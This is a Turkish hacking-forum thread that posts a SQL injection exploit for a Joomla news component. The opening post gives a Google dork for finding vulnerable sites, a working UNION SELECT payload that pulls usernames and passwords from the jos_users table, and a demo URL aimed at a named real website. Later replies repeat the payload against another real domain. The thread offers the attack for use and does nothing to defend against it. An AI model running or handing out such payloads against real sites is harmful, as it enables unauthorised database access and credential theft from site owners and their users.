folder Tahribat.com Forumları
linefolder Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
linefolder Joomla Component Hızlı Yazı Yazma SQL Sokuşturma Açığı



Joomla Component Hızlı Yazı Yazma SQL Sokuşturma Açığı

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Master
    Master's avatar
    Kayıt Tarihi: 10/Nisan/2007
    Erkek

    Risk: Yüksek
    Etki: uzaktan SQL ile oynama ve erişim sağlama tabii ki
    Etkilenenler: Joomla'nın bir çok sürümünde var hepsini denemedim.
    Google d0rk: intitle:”kaMtiEz”+”tukulesto” diyerekten bakabilirsiniz
    Exploit & demo :

    33/**/union/**/select/**/1,1,1,1,concat%28username,0×3a,password%29,666,1,1
    ,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/*
    Demo:
    http://medus-ol.de/cms/index.php?option=com_quicknews&task=view_item&newsid
    =33/**/union/**/select/**/1,1,1,1,concat%28username,0×3a,password%29,666,1,
    1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/*

     

    KAYNAK

    Bilgi güçtür, düşmanını barışa zorlar.
    Reply With Quote Alıntı yap
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    HaYVaN
    HaYVaN's avatar
    Kayıt Tarihi: 02/Temmuz/2007
    Erkek

    http://www.mehmetsatar.com

    Reply With Quote Alıntı yap
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    AsayisciAsayisci
    Asayisci
    Asayisci's avatar
    Kayıt Tarihi: 14/Eylül/2009
    Erkek

    http://www.joomladersleri.com/=33/**/union/**/select/**/1,1,1,1,concat%28username,0×3a,password%29,666,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/*

     

     

    burada ne demek

    istemiş bi bakar mısınız ?

    Reply With Quote Alıntı yap
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Cosmic
    Cosmic's avatar
    Kayıt Tarihi: 14/Haziran/2006
    Erkek

    Asayisci bunu yazdı:
    -----------------------------

    http://www.joomladersleri.com/=33/**/union/**/select/**/1,1,1,1,concat%28username,0×3a,password%29,666,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/*

     

     

    burada ne demek

    istemiş bi bakar mısınız ?


    -----------------------------
    geçicen o işleri sen diyo

    Bittik biz bittik
    Reply With Quote Alıntı yap
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Ayasofya
    Ayasofya's avatar
    Kayıt Tarihi: 07/Haziran/2007
    Erkek

    cosmic bunu yazdı:
    -----------------------------

    Asayisci bunu yazdı:
    -----------------------------

    http://www.joomladersleri.com/=33/**/union/**/select/**/1,1,1,1,concat%28username,0×3a,password%29,666,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/*

     

     

    burada ne demek

    istemiş bi bakar mısınız ?


    -----------------------------
    geçicen o işleri sen diyo
    -----------------------------

    hoılasdlıasddlkas :D :D :d

    görmedim
    Reply With Quote Alıntı yap
Toplam Hit: 3020 Toplam Mesaj: 5